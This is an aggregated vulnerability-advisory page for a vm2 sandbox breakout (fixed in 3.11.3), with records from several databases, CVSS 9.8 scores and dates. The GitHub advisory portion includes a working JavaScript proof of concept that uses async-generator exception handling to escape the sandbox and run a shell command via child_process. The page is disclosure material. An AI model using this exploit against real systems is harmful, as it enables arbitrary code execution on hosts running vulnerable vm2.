vm2: Sandbox Breakout Using Async Generator

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.

Source published

13 May 2026 17:38:38 UTC

Source modified

7 Sep 2026 12:05:04 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.

Source published

May 13, 2026, 5:38:38 PM (timezone not stated)

Source modified

Sep 7, 2026, 12:05:04 PM (timezone not stated)

Observed here

28 Oct 2026 06:11:31 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.

Source published

13 May 2026 18:16:19 UTC

Source modified

26 Oct 2026 14:10:00 UTC

Observed here

27 Oct 2026 11:12:23 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details It is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function* helper() { yield* { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Source published

14 May 2026 21:14:32 UTC

Source modified

14 May 2026 21:41:25 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL